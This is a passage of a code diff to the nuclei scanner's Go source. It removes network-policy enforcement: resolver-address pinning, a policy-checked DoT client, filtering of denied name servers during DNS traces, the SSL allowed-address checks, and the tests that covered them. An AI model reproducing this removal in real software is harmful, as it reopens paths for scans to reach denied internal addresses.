connString := mssqlConnString(target, username, password, dbName)
db, err := openDB(executionId, target, username, password, dbName)
db, err := sql.Open("sqlserver", connString)
if err != nil {
return nil, err
}
-120
View File
@@ -1,18 +1,9 @@
package mssql
import (
"context"
"errors"
"net"
"strconv"
"testing"
"time"
gomssql "github.com/microsoft/go-mssqldb"
"github.com/microsoft/go-mssqldb/msdsn"
"github.com/projectdiscovery/goflags"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
"github.com/projectdiscovery/nuclei/v3/pkg/types"
"github.com/stretchr/testify/require"
)
@@ -42,114 +33,3 @@ func TestConnectionStringKeepsPlainDatabaseName(t *testing.T) {
require.Equal(t, "master", cfg.Database)
}
func TestOpenDBUsesCustomFastdialer(t *testing.T) {
execID := "mssql-opendb-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
db, err := openDB(execID, "127.0.0.1:1433", "user", "pass", "master")
require.NoError(t, err)
require.NotNil(t, db)
_ = db.Close()
}
func TestMssqlDialerEnforcesNetworkPolicy(t *testing.T) {
execID := "mssql-policy-test"
require.NoError(t, protocolstate.Init(&types.Options{
ExecutionId: execID,
ExcludeTargets: goflags.StringSlice{"denied.host"},
}))
t.Cleanup(func() { protocolstate.Close(execID) })
dialer := &mssqlCustomDialer{
executionId: execID,
host: "denied.host",
}
require.Equal(t, "denied.host", dialer.HostName())
var _ gomssql.HostDialer = dialer
_, err := dialer.DialContext(context.Background(), "tcp", "denied.host:1433")
require.Error(t, err)
require.Contains(t, err.Error(), "network policy")
uninitDialer := &mssqlCustomDialer{
executionId: "nonexistent-exec-id",
host: "example.com",
}
_, err = uninitDialer.DialContext(context.Background(), "tcp", "example.com:1433")
require.Error(t, err)
require.Contains(t, err.Error(), "dialers not initialized")
}
func TestConnectFailsFastOnClosedPort(t *testing.T) {
execID := "mssql-closed-port-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
ln, err := net.Listen("tcp", "127.0.0.1:0")
require.NoError(t, err)
_, portStr, err := net.SplitHostPort(ln.Addr().String())
require.NoError(t, err)
port, err := strconv.Atoi(portStr)
require.NoError(t, err)
_ = ln.Close()
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
ok, err := connect(ctx, execID, "127.0.0.1", port, "user", "pass", "master")
require.Error(t, err)
require.False(t, ok)
}
func TestConnectWithCanceledContext(t *testing.T) {
execID := "mssql-canceled-ctx-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
ctx, cancel := context.WithCancel(context.Background())
cancel() // Cancel immediately
ok, err := connect(ctx, execID, "127.0.0.1", 1433, "user", "pass", "master")
require.Error(t, err)
require.False(t, ok)
}
func TestIsNetworkError(t *testing.T) {
require.True(t, isNetworkError(errors.New("connect: connection refused")))
require.True(t, isNetworkError(errors.New("No connection could be made because the target machine actively refused it.")))
require.True(t, isNetworkError(errors.New("unable to open tcp connection with host '127.0.0.1:1433': cause=\"port closed or filtered\"")))
require.True(t, isNetworkError(errors.New("network unreachable")))
require.True(t, isNetworkError(errors.New("connection reset by peer")))
require.True(t, isNetworkError(errors.New("i/o timeout")))
require.True(t, isNetworkError(context.Canceled))
require.True(t, isNetworkError(context.DeadlineExceeded))
require.True(t, isNetworkError(protocolstate.ErrHostDenied.Msgf("127.0.0.1")))
// Server-side responses / authentication failures are not network errors
require.False(t, isNetworkError(nil))
require.False(t, isNetworkError(errors.New("mssql: Login failed for user 'sa'")))
require.False(t, isNetworkError(errors.New("mssql: Cannot open database \"secret\" requested by the login")))
require.False(t, isNetworkError(errors.New("mssql: Password has expired")))
require.False(t, isNetworkError(errors.New("mssql: Permission denied to database")))
require.False(t, isNetworkError(errors.New("mssql: Password must be reset")))
require.False(t, isNetworkError(errors.New("mssql: The query timed out")))
}
func TestExecuteQueryUsesFastdialer(t *testing.T) {
execID := "mssql-execute-query-test"
require.NoError(t, protocolstate.Init(&types.Options{ExecutionId: execID}))
t.Cleanup(func() { protocolstate.Close(execID) })
client := &MSSQLClient{}
ctx := context.WithValue(context.Background(), "executionId", execID) //nolint:staticcheck // SA1029: executionId string key matches goja runtime injection
// Denied host should fail policy check immediately
_, err := client.ExecuteQuery(ctx, "denied.host", 1433, "user", "pass", "master", "SELECT 1")
require.Error(t, err)
// Closed port should fail
_, err = client.ExecuteQuery(ctx, "127.0.0.1", 65530, "user", "pass", "master", "SELECT 1")
require.Error(t, err)
}
-50
View File
@@ -1,10 +1,8 @@
package dns
import (
"context"
"net"
"strings"
"time"
"github.com/miekg/dns"
"github.com/pkg/errors"
@@ -18,7 +16,6 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool"
fileutil "github.com/projectdiscovery/utils/file"
iputil "github.com/projectdiscovery/utils/ip"
)
// Request contains a DNS protocol request to be made from a template
@@ -207,48 +204,6 @@ func resolverHost(resolver string) string {
return r
}
// pinResolverHost replaces a resolver host name with an address that the
// network policy allows. The policy check passes when one address of the name
// is allowed, and the dns client resolves the name again when it dials, so it
// could otherwise reach a denied address of the same name.
// The lookup stops after timeout, so a slow system resolver cannot hold the
// request.
func pinResolverHost(executionID, resolver, host string, timeout time.Duration) (string, error) {
// DoH and DoT resolvers dial through the scan dialer, which checks every
// address, and DoT verifies the certificate against the name.
if iputil.IsIP(host) || strings.HasPrefix(resolver, "doh:") || strings.HasPrefix(resolver, "dot:") {
return resolver, nil
}
ctx, cancel := context.WithTimeout(context.Background(), timeout)
defer cancel()
addrs, err := net.DefaultResolver.LookupHost(ctx, host)
if err != nil {
return "", errors.Wrapf(err, "could not resolve dns resolver %s", resolver)
}
prefix, address := resolver, ""
if index := strings.LastIndex(resolver, host); index != -1 {
prefix, address = resolver[:index], resolver[index:]
}
port := "53"
if _, p, err := net.SplitHostPort(address); err == nil && p != "" {
port = p
}
for _, addr := range addrs {
if protocolstate.IsHostAllowed(executionID, addr) {
return prefix + net.JoinHostPort(addr, port), nil
}
}
return "", errors.Errorf("dns resolver %s is blocked by network policy", resolver)
}
// resolverLookupTimeout is the scan timeout, or ten seconds when it is not set.
func resolverLookupTimeout(options *protocols.ExecutorOptions) time.Duration {
if options.Options.Timeout > 0 {
return time.Duration(options.Options.Timeout) * time.Second
}
return 10 * time.Second
}
func (request *Request) getDnsClient(options *protocols.ExecutorOptions, metadata map[string]interface{}) (*dnsclientpool.Client, error) {
dnsClientOptions := &dnsclientpool.Configuration{
Retries: request.Retries,
@@ -282,11 +237,6 @@ func (request *Request) getDnsClient(options *protocols.ExecutorOptions, metadat
if !protocolstate.IsHostAllowed(options.Options.ExecutionId, host) {
return nil, errors.Errorf("dns resolver %s is blocked by network policy", resolver)
}
pinned, err := pinResolverHost(options.Options.ExecutionId, resolver, host, resolverLookupTimeout(options))
if err != nil {
return nil, err
}
resolver = pinned
}
resolvers = append(resolvers, resolver)
}
@@ -93,7 +93,7 @@ func Get(options *types.Options, configuration *Configuration) (*Client, error)
if (configuration.Retries <= 1) && len(configuration.Resolvers) == 0 {
return cachedClient(resolversFor(options))
}
if len(options.InternalResolversList) == 0 && hasPolicyResolver(configuration.Resolvers) {
if len(options.InternalResolversList) == 0 && hasDohResolver(configuration.Resolvers) {
return getPolicyClient(options, configuration)
}
hash := configuration.Hash()
+16 -74
View File
@@ -3,14 +3,12 @@ package dnsclientpool
import (
"context"
"crypto/tls"
"crypto/x509"
"fmt"
"net"
"net/http"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/miekg/dns"
"github.com/pkg/errors"
@@ -21,8 +19,8 @@ import (
)
// Client sends the DNS queries of a template. It sends queries for template
// DoH and DoT resolvers itself, because the retryabledns clients dial and
// follow redirects without the network policy of the scan.
// DoH resolvers itself, because the retryabledns DoH client dials and follows
// redirects without the network policy of the scan.
type Client struct {
*retryabledns.Client
@@ -31,51 +29,31 @@ type Client struct {
index uint32
doh *doh.Client
transport *http.Transport
dial func(ctx context.Context, network, address string) (net.Conn, error)
timeout time.Duration
}
// resolver is one template resolver. url is set for a DoH resolver and dot
// for a DoT resolver, and both are empty for a resolver that retryabledns
// queries over UDP or TCP.
// resolver is one template resolver. url is empty for a resolver that
// retryabledns queries over UDP, TCP or DoT.
type resolver struct {
url string
method doh.Method
dot string
}
var (
// policyClients holds the clients with DoH or DoT resolvers of each execution,
// policyClients holds the clients with DoH resolvers of each execution,
// because each one dials with the dialer of its execution.
policyClients = map[string]map[string]*Client{}
policyMu sync.Mutex
// dotRootCAs verifies DoT certificates, and nil uses the system roots.
dotRootCAs *x509.CertPool
)
func hasPolicyResolver(resolvers []string) bool {
func hasDohResolver(resolvers []string) bool {
for _, r := range resolvers {
if strings.HasPrefix(r, "doh:") || strings.HasPrefix(r, "dot:") {
if strings.HasPrefix(r, "doh:") {
return true
}
}
return false
}
// parseDotResolver returns the host and port of a resolver such as
// dot:dns.example or dot:dns.example:853, in the same way as retryabledns.
func parseDotResolver(r string) (resolver, bool) {
if !strings.HasPrefix(r, "dot:") {
return resolver{}, false
}
address := strings.TrimPrefix(r, "dot:")
if _, _, err := net.SplitHostPort(address); err != nil {
address = net.JoinHostPort(address, "853")
}
return resolver{dot: address}, true
}
// parseDohResolver returns the URL and method of a resolver such as
// doh:https://dns.example/dns-query:get, in the same way as retryabledns.
func parseDohResolver(r string) (resolver, bool) {
@@ -113,14 +91,10 @@ func getPolicyClient(options *types.Options, configuration *Configuration) (*Cli
client.resolvers = append(client.resolvers, parsed)
continue
}
if parsed, ok := parseDotResolver(r); ok {
client.resolvers = append(client.resolvers, parsed)
continue
}
client.resolvers = append(client.resolvers, resolver{})
networkResolvers = append(networkResolvers, r)
}
// Trace and the UDP and TCP resolvers still go through retryabledns.
// Trace and the non DoH resolvers still go through retryabledns.
if len(networkResolvers) == 0 {
networkResolvers = defaultResolvers
}
@@ -137,16 +111,14 @@ func getPolicyClient(options *types.Options, configuration *Configuration) (*Cli
// The scan dialer checks every address it connects to, so redirects
// and names that resolve to a denied address are refused too. It also
// goes through the scan proxy when one is set.
client.dial = func(ctx context.Context, network, address string) (net.Conn, error) {
dialers := protocolstate.GetDialersWithId(executionID)
if dialers == nil || dialers.Fastdialer == nil {
return nil, fmt.Errorf("dialers not initialized for %s", executionID)
}
return dialers.Fastdialer.Dial(ctx, network, address)
}
client.timeout = options.GetTimeouts().DialTimeout
client.transport = &http.Transport{
DialContext: client.dial,
DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {
dialers := protocolstate.GetDialersWithId(executionID)
if dialers == nil || dialers.Fastdialer == nil {
return nil, fmt.Errorf("dialers not initialized for %s", executionID)
}
return dialers.Fastdialer.Dial(ctx, network, address)
},
// same as the retryabledns DoH client
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // #nosec G402
}
@@ -177,8 +149,6 @@ func (c *Client) Do(msg *dns.Msg) (*dns.Msg, error) {
r := c.resolvers[index%uint32(len(c.resolvers))]
if r.url != "" {
resp, err = c.doh.QueryWithDOHMsg(r.method, doh.Resolver{URL: r.url}, msg)
} else if r.dot != "" {
resp, err = c.queryDoT(r.dot, msg)
} else {
resp, err = c.Client.Do(msg)
}
@@ -189,35 +159,7 @@ func (c *Client) Do(msg *dns.Msg) (*dns.Msg, error) {
return resp, retryabledns.ErrRetriesExceeded
}
// queryDoT sends a DNS message over TLS to address. It dials through the scan
// dialer and verifies the certificate against the resolver host, as the
// retryabledns DoT client does.
func (c *Client) queryDoT(address string, msg *dns.Msg) (*dns.Msg, error) {
host, _, err := net.SplitHostPort(address)
if err != nil {
return nil, err
}
timeout := c.timeout
if timeout <= 0 {
timeout = retryabledns.DefaultOptions.Timeout
}
ctx, cancel := context.WithTimeout(context.Background(), timeout)
defer cancel()
conn, err := c.dial(ctx, "tcp", address)
if err != nil {
return nil, err
}
tlsConn := tls.Client(conn, &tls.Config{ServerName: host, RootCAs: dotRootCAs, MinVersion: tls.VersionTLS12})
defer func() { _ = tlsConn.Close() }()
if err := tlsConn.HandshakeContext(ctx); err != nil {
return nil, err
}
dnsClient := &dns.Client{Net: "tcp-tls", Timeout: timeout}
resp, _, err := dnsClient.ExchangeWithConn(msg, &dns.Conn{Conn: tlsConn})
return resp, err
}
// Close drops the clients with DoH or DoT resolvers of an execution.
// Close drops the clients with DoH resolvers of an execution.
func Close(executionID string) {
policyMu.Lock()
clients := policyClients[executionID]
+14 -7
View File
@@ -4,7 +4,6 @@ import (
"net"
"net/http"
"net/http/httptest"
"strings"
"sync/atomic"
"testing"
@@ -66,19 +65,27 @@ func TestDohResolverObeysNetworkPolicy(t *testing.T) {
t.Run("redirect to denied address", func(t *testing.T) {
var hits atomic.Int32
internal := newDohServer(t, &hits)
redirector := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// the redirector listens on ::1, which passes the policy, while 127.0.0.1 is denied
listener, err := net.Listen("tcp6", "[::1]:0")
if err != nil {
t.Skipf("no IPv6 loopback: %v", err)
}
var redirects atomic.Int32
redirector := httptest.NewUnstartedServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
redirects.Add(1)
http.Redirect(w, r, internal.URL+"/internal", http.StatusFound)
}))
_ = redirector.Listener.Close()
redirector.Listener = listener
redirector.Start()
t.Cleanup(redirector.Close)
// localhost passes the resolver check through ::1, while 127.0.0.1 is denied
_, port, err := net.SplitHostPort(strings.TrimPrefix(redirector.URL, "http://"))
require.NoError(t, err)
options := dohOptions(t, []string{"127.0.0.1"})
require.True(t, protocolstate.IsHostAllowed(options.ExecutionId, "localhost"))
require.True(t, protocolstate.IsHostAllowed(options.ExecutionId, redirector.URL))
client, err := Get(options, &Configuration{Retries: 1, Resolvers: []string{"doh:http://localhost:" + port + "/dns-query:get"}})
client, err := Get(options, &Configuration{Retries: 1, Resolvers: []string{"doh:" + redirector.URL + "/dns-query:get"}})
require.NoError(t, err)
_, _ = client.Do(txtQuery())
require.NotZero(t, redirects.Load(), "DoH query did not reach the redirector")
require.Zero(t, hits.Load(), "DoH redirect reached a denied address")
})
@@ -1,91 +0,0 @@
package dnsclientpool
import (
"crypto/tls"
"net"
"net/http"
"net/http/httptest"
"sync/atomic"
"testing"
"github.com/miekg/dns"
"github.com/stretchr/testify/require"
)
// newDotListener accepts TCP connections on 127.0.0.1, counts them and closes
// them, so a test sees each DoT dial that reaches the address.
func newDotListener(t *testing.T, hits *atomic.Int32) string {
t.Helper()
l, err := net.Listen("tcp", "127.0.0.1:0")
require.NoError(t, err)
t.Cleanup(func() { _ = l.Close() })
go func() {
for {
conn, err := l.Accept()
if err != nil {
return
}
hits.Add(1)
_ = conn.Close()
}
}()
_, port, err := net.SplitHostPort(l.Addr().String())
require.NoError(t, err)
return port
}
func TestDotResolverObeysNetworkPolicy(t *testing.T) {
for _, host := range []string{"127.0.0.1", "localhost"} {
t.Run("denied address "+host, func(t *testing.T) {
var hits atomic.Int32
port := newDotListener(t, &hits)
// localhost passes the resolver check through ::1, while 127.0.0.1 is denied
options := dohOptions(t, []string{"127.0.0.1"})
client, err := Get(options, &Configuration{Retries: 2, Resolvers: []string{"dot:" + net.JoinHostPort(host, port)}})
require.NoError(t, err)
_, _ = client.Do(txtQuery())
require.Zero(t, hits.Load(), "DoT query reached a denied address")
})
}
t.Run("allowed address", func(t *testing.T) {
var hits atomic.Int32
port := newDotListener(t, &hits)
options := dohOptions(t, nil)
client, err := Get(options, &Configuration{Retries: 1, Resolvers: []string{"dot:127.0.0.1:" + port}})
require.NoError(t, err)
_, _ = client.Do(txtQuery())
require.Equal(t, int32(1), hits.Load())
})
}
func TestDotResolverAnswers(t *testing.T) {
// httptest gives a certificate for 127.0.0.1 and a pool that trusts it.
certs := httptest.NewTLSServer(http.NotFoundHandler())
t.Cleanup(certs.Close)
previous := dotRootCAs
dotRootCAs = certs.Client().Transport.(*http.Transport).TLSClientConfig.RootCAs
t.Cleanup(func() { dotRootCAs = previous })
l, err := tls.Listen("tcp", "127.0.0.1:0", &tls.Config{Certificates: certs.TLS.Certificates, MinVersion: tls.VersionTLS12})
require.NoError(t, err)
server := &dns.Server{Listener: l, Net: "tcp-tls", Handler: dns.HandlerFunc(func(w dns.ResponseWriter, q *dns.Msg) {
m := new(dns.Msg)
m.SetReply(q)
rr, _ := dns.NewRR(`example.com. 60 IN TXT "dot-answer"`)
m.Answer = append(m.Answer, rr)
_ = w.WriteMsg(m)
})}
go func() { _ = server.ActivateAndServe() }()
t.Cleanup(func() { _ = server.Shutdown() })
options := dohOptions(t, nil)
client, err := Get(options, &Configuration{Retries: 2, Resolvers: []string{"dot:" + l.Addr().String()}})
require.NoError(t, err)
resp, err := client.Do(txtQuery())
require.NoError(t, err)
require.Len(t, resp.Answer, 1)
require.Contains(t, resp.Answer[0].String(), "dot-answer")
}
+1 -1
View File
@@ -195,7 +195,7 @@ func (request *Request) execute(input *contextargs.Context, domain string, metad
// perform trace if necessary (excluded from duration — only the query RTT is measured)
var traceData *retryabledns.TraceData
if request.Trace {
traceData, err = trace(request.options.Options.ExecutionId, request.dnsClient, domain, request.question, request.TraceMaxRecursion)
traceData, err = request.dnsClient.Trace(domain, request.question, request.TraceMaxRecursion)
if err != nil {
request.options.Output.Request(request.options.TemplatePath, domain, "dns", err)
}
-119
View File
@@ -1,119 +0,0 @@
package dns
import (
"context"
"net"
"sync/atomic"
"testing"
"time"
"github.com/miekg/dns"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v3/internal/tests/testutils"
"github.com/projectdiscovery/nuclei/v3/pkg/model"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
)
// startDNSServer answers every query with a TXT record, or with the A records
// in addrs when the question is for name, and counts the queries.
func startDNSServer(t *testing.T, name string, addrs []string, hits *atomic.Int32) string {
t.Helper()
pc, err := net.ListenPacket("udp", "127.0.0.1:0")
require.NoError(t, err)
server := &dns.Server{PacketConn: pc, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, q *dns.Msg) {
hits.Add(1)
m := new(dns.Msg)
m.SetReply(q)
question := q.Question[0]
switch {
case question.Name == name && question.Qtype == dns.TypeA:
for _, addr := range addrs {
rr, _ := dns.NewRR(name + " 0 IN A " + addr)
m.Answer = append(m.Answer, rr)
}
case question.Name == name:
default:
rr, _ := dns.NewRR(question.Name + ` 0 IN TXT "answer"`)
m.Answer = append(m.Answer, rr)
}
_ = w.WriteMsg(m)
})}
go func() { _ = server.ActivateAndServe() }()
t.Cleanup(func() { _ = server.Shutdown() })
l, err := net.Listen("tcp", pc.LocalAddr().String())
require.NoError(t, err)
tcpServer := &dns.Server{Listener: l, Handler: server.Handler}
go func() { _ = tcpServer.ActivateAndServe() }()
t.Cleanup(func() { _ = tcpServer.Shutdown() })
return pc.LocalAddr().String()
}
// useSystemResolver sends the lookups of the process to the DNS server at address.
func useSystemResolver(t *testing.T, address string) {
t.Helper()
previous := net.DefaultResolver
net.DefaultResolver = &net.Resolver{
PreferGo: true,
Dial: func(ctx context.Context, network, _ string) (net.Conn, error) {
var d net.Dialer
return d.DialContext(ctx, "udp", address)
},
}
t.Cleanup(func() { net.DefaultResolver = previous })
}
func TestDNSResolverNameObeysNetworkPolicy(t *testing.T) {
// The resolver name has an allowed address and a denied address. The
// policy check passes because one address is allowed, so the query must
// not go to the denied one.
var deniedHits, systemHits atomic.Int32
denied := startDNSServer(t, "", nil, &deniedHits)
_, port, err := net.SplitHostPort(denied)
require.NoError(t, err)
system := startDNSServer(t, "resolver.nuclei-test.", []string{"127.0.0.1", "127.0.0.2"}, &systemHits)
useSystemResolver(t, system)
options := testutils.DefaultOptions.Copy()
options.SetExecutionID(t.Name())
options.ExcludeTargets = []string{"127.0.0.1"}
testutils.Init(options)
t.Cleanup(func() { testutils.Cleanup(options) })
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: "dns-resolver-policy",
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}, Name: "test"},
})
for _, resolver := range []string{"resolver.nuclei-test:" + port, "tcp:resolver.nuclei-test:" + port} {
t.Run(resolver, func(t *testing.T) {
deniedHits.Store(0)
request := &Request{
RequestType: DNSRequestTypeHolder{DNSRequestType: TXT},
Class: "INET",
Retries: 2,
Name: "{{FQDN}}",
Resolvers: []string{resolver},
}
require.NoError(t, request.Compile(executerOpts))
msg := new(dns.Msg)
msg.SetQuestion("example.com.", dns.TypeTXT)
_, _ = request.dnsClient.Do(msg)
require.Zero(t, deniedHits.Load(), "dns query reached a denied address")
})
}
}
func TestDNSResolverNameLookupStopsAtTimeout(t *testing.T) {
// The system resolver never answers, so the lookup that pins the resolver
// name must stop at the timeout.
silent, err := net.ListenPacket("udp", "127.0.0.1:0")
require.NoError(t, err)
t.Cleanup(func() { _ = silent.Close() })
useSystemResolver(t, silent.LocalAddr().String())
start := time.Now()
_, err = pinResolverHost(t.Name(), "silent.nuclei-test:53", "silent.nuclei-test", time.Second)
require.Error(t, err)
require.Less(t, time.Since(start), 4*time.Second, "the resolver lookup did not stop at the timeout")
}
-88
View File
@@ -1,88 +0,0 @@
package dns
import (
"context"
"math/rand"
"net"
"github.com/miekg/dns"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool"
"github.com/projectdiscovery/retryabledns"
sliceutil "github.com/projectdiscovery/utils/slice"
)
// traceNameServerPort is the port of the name servers that a trace queries.
var traceNameServerPort = "53"
// trace follows the delegation of host from the root servers in the same way
// as retryabledns.Client.Trace, but it skips name server addresses that the
// network policy denies. The name servers come from the answers, so the owner
// of a zone could otherwise send the queries of a trace to internal addresses.
func trace(executionID string, client *dnsclientpool.Client, host string, requestType uint16, maxRecursion int) (*retryabledns.TraceData, error) {
var traceData retryabledns.TraceData
host = dns.CanonicalName(host)
servers := retryabledns.RootDNSServersIPv4
seenNS := make(map[string]struct{})
seenCName := make(map[string]int)
for i := 1; i < maxRecursion; i++ {
responses, err := client.QueryParallel(host, requestType, servers)
if err != nil {
return nil, err
}
for _, server := range servers {
seenNS[server] = struct{}{}
}
if len(responses) == 0 {
return &traceData, nil
}
for _, dnsData := range responses {
if dnsData != nil && len(dnsData.Resolver) > 0 {
traceData.DNSData = append(traceData.DNSData, dnsData)
}
}
var nameServers []string
var nextCname string
for _, dnsData := range responses {
if dnsData == nil {
continue
}
for _, ns := range dnsData.NS {
ips, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", ns)
if err != nil {
continue
}
for _, ip := range ips {
if !protocolstate.IsHostAllowed(executionID, ip.String()) {
continue
}
nameServers = append(nameServers, net.JoinHostPort(ip.String(), traceNameServerPort))
}
}
if nextCname == "" && len(dnsData.CNAME) > 0 {
nextCname = dnsData.CNAME[0]
}
}
nameServers = sliceutil.Dedupe(nameServers)
if len(nameServers) == 0 {
break
}
server := nameServers[rand.Intn(len(nameServers))] // #nosec G404
if _, ok := seenNS[server]; ok && nextCname == "" {
break
}
servers = []string{server}
if nextCname != "" {
seenCName[nextCname]++
if seenCName[nextCname] > retryabledns.DefaultMaxPerCNAMEFollows {
break
}
host = nextCname
}
}
return &traceData, nil
}
-124
View File
@@ -1,124 +0,0 @@
package dns
import (
"context"
"net"
"sync/atomic"
"testing"
"github.com/miekg/dns"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v3/internal/tests/testutils"
"github.com/projectdiscovery/nuclei/v3/pkg/model"
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
"github.com/projectdiscovery/nuclei/v3/pkg/output"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs"
"github.com/projectdiscovery/retryabledns"
)
func serveTraceDNS(t *testing.T, address string, handler dns.HandlerFunc) string {
t.Helper()
pc, err := net.ListenPacket("udp", address)
require.NoError(t, err)
server := &dns.Server{PacketConn: pc, Handler: handler}
go func() { _ = server.ActivateAndServe() }()
t.Cleanup(func() { _ = server.Shutdown() })
return pc.LocalAddr().String()
}
func TestDNSTraceObeysNetworkPolicy(t *testing.T) {
// The zone of the traced name delegates to a name server on 127.0.0.1.
// The trace must query it when the policy allows the address, so that the
// test can see a trace that ignores the policy, and must skip it when the
// policy denies the address.
t.Run("allowed", func(t *testing.T) {
require.NotZero(t, runTraceAgainstLoopbackNameServer(t, nil), "trace did not query the allowed name server")
})
t.Run("denied", func(t *testing.T) {
require.Zero(t, runTraceAgainstLoopbackNameServer(t, []string{"127.0.0.1"}), "trace queried a denied name server")
})
}
func runTraceAgainstLoopbackNameServer(t *testing.T, excludeTargets []string) int32 {
t.Helper()
var internalHits atomic.Int32
internal := serveTraceDNS(t, "127.0.0.1:0", func(w dns.ResponseWriter, q *dns.Msg) {
internalHits.Add(1)
m := new(dns.Msg)
m.SetReply(q)
rr, _ := dns.NewRR(q.Question[0].Name + ` 0 IN TXT "internal"`)
m.Answer = append(m.Answer, rr)
_ = w.WriteMsg(m)
})
_, port, err := net.SplitHostPort(internal)
require.NoError(t, err)
previousPort := traceNameServerPort
traceNameServerPort = port
t.Cleanup(func() { traceNameServerPort = previousPort })
// public stands in for the root servers, the scan resolvers and the system resolver
public := serveTraceDNS(t, "127.0.0.1:0", func(w dns.ResponseWriter, q *dns.Msg) {
m := new(dns.Msg)
m.SetReply(q)
question := q.Question[0]
var rr dns.RR
switch {
case question.Name == "ns.nuclei-test." && question.Qtype == dns.TypeA:
rr, _ = dns.NewRR("ns.nuclei-test. 0 IN A 127.0.0.1")
case question.Name == "ns.nuclei-test.":
case question.Name == "trace.nuclei-test.":
rr, _ = dns.NewRR("trace.nuclei-test. 0 IN NS ns.nuclei-test.")
default:
rr, _ = dns.NewRR(question.Name + ` 0 IN TXT "public"`)
}
if rr != nil {
m.Answer = append(m.Answer, rr)
}
_ = w.WriteMsg(m)
})
previousRoots := retryabledns.RootDNSServersIPv4
retryabledns.RootDNSServersIPv4 = []string{public}
t.Cleanup(func() { retryabledns.RootDNSServersIPv4 = previousRoots })
previousResolver := net.DefaultResolver
net.DefaultResolver = &net.Resolver{
PreferGo: true,
Dial: func(ctx context.Context, network, _ string) (net.Conn, error) {
var d net.Dialer
return d.DialContext(ctx, "udp", public)
},
}
t.Cleanup(func() { net.DefaultResolver = previousResolver })
options := testutils.DefaultOptions.Copy()
options.SetExecutionID(t.Name())
options.ExcludeTargets = excludeTargets
options.InternalResolversList = []string{public}
testutils.Init(options)
t.Cleanup(func() { testutils.Cleanup(options) })
executerOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{
ID: "dns-trace-policy",
Info: model.Info{SeverityHolder: severity.Holder{Severity: severity.Info}, Name: "test"},
})
request := &Request{
RequestType: DNSRequestTypeHolder{DNSRequestType: TXT},
Class: "INET",
Name: "{{FQDN}}",
// One retry keeps the client keyed by this test's resolvers, so a
// client cached by an earlier run cannot point at a closed server.
Retries: 1,
Trace: true,
TraceMaxRecursion: 5,
}
require.NoError(t, request.Compile(executerOpts))
var event output.InternalEvent
input := contextargs.NewWithInput(context.Background(), "trace.nuclei-test")
err = request.ExecuteWithResults(input, nil, nil, func(e *output.InternalWrappedEvent) {
event = e.InternalEvent
})
require.NoError(t, err)
require.Contains(t, event["trace"], "ns.nuclei-test", "trace did not query the root servers")
return internalHits.Load()
}
-34
View File
@@ -23,7 +23,6 @@ import (
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/render"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump"
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool"
@@ -35,7 +34,6 @@ import (
"github.com/projectdiscovery/tlsx/pkg/tlsx/clients"
"github.com/projectdiscovery/tlsx/pkg/tlsx/openssl"
"github.com/projectdiscovery/utils/errkit"
iputil "github.com/projectdiscovery/utils/ip"
stringsutil "github.com/projectdiscovery/utils/strings"
)
@@ -204,21 +202,6 @@ func (request *Request) GetID() string {
return request.ID
}
// allowedAddress returns the first address of host that the network policy allows.
func (request *Request) allowedAddress(host string) (string, error) {
dnsData, err := request.dialer.GetDNSData(host)
if err != nil {
return "", err
}
addresses := append(append([]string{}, dnsData.A...), dnsData.AAAA...)
for _, address := range addresses {
if protocolstate.IsHostAllowed(request.options.Options.ExecutionId, address) {
return address, nil
}
}
return "", protocolstate.ErrHostDenied.Msgf(host)
}
// ExecuteWithResults executes the protocol requests and returns results instead of writing them.
func (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {
hostPort := input.MetaInput.Input
@@ -272,23 +255,6 @@ func (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicVa
} else {
hostIp = host
}
if !iputil.IsIP(hostIp) {
// The openssl scan mode runs the openssl binary, which resolves a host
// name again by itself, so it gets an address the policy allows.
address, err := request.allowedAddress(hostIp)
if err != nil {
requestOptions.Output.Request(requestOptions.TemplateID, input.MetaInput.Input, request.Type().String(), err)
requestOptions.Progress.IncrementFailedRequestsBy(1)
return errkit.Wrap(err, "could not resolve host")
}
hostIp = address
} else if !protocolstate.IsHostAllowed(request.options.Options.ExecutionId, hostIp) {
// A custom dialer can allow an address that the execution policy denies.
err := protocolstate.ErrHostDenied.Msgf(hostIp)
